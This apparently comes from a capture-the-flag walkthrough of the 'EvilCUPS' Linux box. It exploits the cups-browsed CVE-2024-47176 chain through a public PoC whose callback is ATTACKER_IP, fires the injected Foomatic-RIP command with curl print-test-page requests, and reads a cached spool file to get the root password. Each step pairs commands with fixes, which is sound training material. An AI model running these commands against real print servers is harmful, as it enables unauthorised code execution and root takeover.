← all walkthroughs

EvilCUPS

Linux· Medium
owned
2026-10-11
time to own
22m6s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I found a Linux print server exposing the CUPS web interface and the cups-browsed discovery service on port 631. A single crafted UDP packet made cups-browsed (CVE-2024-47176) register my own fake printer. Its malicious PPD injected a Foomatic-RIP command, and printing a test page from the unauthenticated CUPS web UI ran that command as the low-privileged 'lp' user, giving me a shell.

Reading a cached print-job file in /var/spool/cups, which lp could access by filename, exposed the root password in plaintext. That password gave full root access, including over SSH.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"

Some commands also carry a value in angle brackets — <command-to-run-as-lp>, <session-id> — which you replace inline with what the step before it turned up.

Attack path — how the box was taken

1ReconnaissanceNetwork service discovery and unauthenticated CUPS web UI exposure (T1046)
Found the exposed CUPS print service and the cups-browsed UDP listener
A full port scan showed only SSH (22/tcp) and the CUPS/IPP service (631/tcp) on the target. The CUPS web interface answered anonymous requests and issued a session cookie without requiring a login, and it reported CUPS 2.4 — a version in the 2024 cups-browsed/Foomatic-RIP vulnerability cluster. A UDP scan of 630-632 confirmed the real attack surface, cups-browsed on 631/udp, which a default top-1000 UDP scan would have missed.
Open ports 22/tcp and 631/tcp; 'HTTP/1.0 200 OK ... Server: CUPS/2.4 IPP/2.1' returned to unauthenticated GETs; an existing queue Canon_MB2300_series was listed with no auth.
Exact commands 3
shell

Full TCP sweep; finds SSH and CUPS/IPP on 631.

$ nmap -sV -p- --min-rate=1000 -T4 $TARGET
shell

Explicit UDP scan; 631/udp open|filtered is cups-browsed.

$ sudo nmap -sU -p 630-632 $TARGET
shell

Anonymous request to the CUPS printer list; no login required.

$ curl -sS --max-time 10 http://$TARGET:631/printers/
FixRequire authentication for the CUPS web interfaceMedium
WeaknessThe CUPS web administration interface was reachable without any login, issuing session cookies and printer information to unauthenticated requests, which let an unauthorised user enumerate printers and trigger print jobs with no credentials.
FixSet DefaultAuthType and require authentication for administrative and job-submission operations in cupsd.conf, and bind the web interface to localhost or a management-only interface rather than all addresses.
2Initial Accesscups-browsed malicious printer registration / PPD injection, CVE-2024-47176 (chained with CVE-2024-47076, 47175, 47177)
Registered my own fake printer through cups-browsed
Cups-browsed accepts unicast printer-announcement packets over UDP/631 from any source. I hosted a malicious IPP server and sent one UDP packet telling the target to add it as a printer. The target fetched a crafted PPD from that server. CUPS used the PPD's printer-more-info value unsanitized, so a leading newline let me smuggle in a '*FoomaticRIPCommandLine:' directive — a command that Foomatic-RIP would later execute as a shell command when a job was printed.
My IPP server on $ATTACKER_IP:8000 logged Get-Printer-Attributes requests to /printers/EvilCUPS from the target; the target then fetched a CUPS-generated PPD (4821 bytes, application/vnd.cups-ppd); a new queue named after $ATTACKER_IP appeared in the CUPS web UI's printer list.
Exact commands 2
shell

Public PoC that hosts the malicious IPP server and sends the UDP registration packet.

$ git clone https://github.com/ippsec/evil-cups && cd evil-cups
shell

Arg1 = $ATTACKER_IP (hosts the IPP server and receives any callback); arg2 = target IP; arg3 = the command injected as the FoomaticRIPCommandLine value, run as lp when a job prints.

$ python3 exploit.py $ATTACKER_IP $TARGET "<command-to-run-as-lp>"
FixPatch or disable cups-browsed and restrict CUPS to trusted networksCritical
Weaknesscups-browsed accepted unsolicited printer-announcement packets from any host on UDP/631 and used externally supplied PPD attributes unsanitized, allowing a remote command to be injected and later executed by Foomatic-RIP when a job was printed.
FixUpdate cups-filters/cups-browsed to a version with CVE-2024-47176/47076/47175/47177 fixed. If cups-browsed isn't needed, disable and mask the service (systemctl disable --now cups-browsed). Firewall UDP/631 and the CUPS web UI (TCP/631) to trusted management hosts only, and require authentication for printer administration.
3ExecutionFoomatic-RIP command injection via print job processing (T1059)
Triggered the injected command by printing a test page
Registering the printer alone does not execute anything — the injected FoomaticRIPCommandLine only runs when CUPS actually processes a print job on that queue. I used the unauthenticated CUPS web UI to open the newly-registered printer's Maintenance menu and submit 'Print Test Page'. That action invoked Foomatic-RIP, which ran the injected command as the 'lp' service account, landing a shell for me.
A print-test-page request was sent to the rogue queue '10_10_17_24' and returned HTTP 200; the follow-on session was confirmed as uid=lp.
Exact commands 2
shell

Loads the registered printer's management page to obtain the session cookie.

$ curl -sS -i --max-time 10 http://$TARGET:631/printers/10_10_17_24
shell

Submits the Print Test Page action; this is what actually fires the injected command as lp.

$ curl -sS -i --max-time 15 -H 'Cookie: org.cups.sid=<session-id>' --data 'org.cups.sid=<session-id>&OP=print-test-page' http://$TARGET:631/printers/10_10_17_24
4Credential AccessCredentials stored in files accessible to a low-privileged service account (T1552.001)
Read a cached print job to recover a plaintext root password
As the 'lp' user, I could execute into (but not list) /var/spool/cups, the directory where CUPS caches completed job output. Because job cache filenames follow a predictable pattern, I could read a known job file directly without needing directory listing permission. That cached job was PostScript output from an earlier print job and contained a plaintext root password.
Cat /var/spool/cups/d00001-001 returned PostScript text containing the string 'pass.txt' and a plaintext root password.
Exact commands 2
shell

Confirm the landed shell is uid=lp before proceeding.

$ id
shell

Predictable CUPS job-cache filename (job 1, page 1); readable by lp even without directory listing rights.

$ cat /var/spool/cups/d00001-001
FixStop storing credentials in print output and restrict access to the CUPS spoolCritical
WeaknessA plaintext root password existed inside a cached print job under /var/spool/cups, and the job-cache file was readable by the low-privileged 'lp' account by guessing its predictable filename, directly exposing a root credential to anyone who could run jobs on the printer.
FixNever print or save credentials to any document; rotate the exposed root password immediately. Tighten /var/spool/cups permissions so only the cups system user can read cached job files, and enable PreserveJobFiles=No (or a short retention) so completed job output isn't retained longer than necessary.
5Privilege EscalationValid account credential reuse for privilege escalation (T1078)
Used the recovered credential to escalate directly to root
The password recovered from the cached print job was the actual root account password on the host. I used it to switch to root locally, and the same credential also worked for root login over SSH — collapsing what would normally be a separate privilege-escalation chain into a single reused-credential step.
Su - to root succeeded with the recovered password; the same password authenticated an SSH session as root returning uid=0(root).
Exact commands 4
shell

From the lp shell; enter the password recovered from the cached job.

$ su -
shell

The same recovered password also works directly over SSH as root.

$ ssh root@$TARGET
shell

User flag location on this host (not /home/lp/).

$ cat /home/htb/user.txt
shell

Root flag, read after confirming id shows uid=0.

$ cat /root/root.txt

Attack patterns used

The transferable techniques behind this compromise.

Password / Credential ReuseCredential Access · Lateral MovementT1078

What it is

A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.

Why it works

Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.

Read more

Exposed services

22/tcp
631/tcp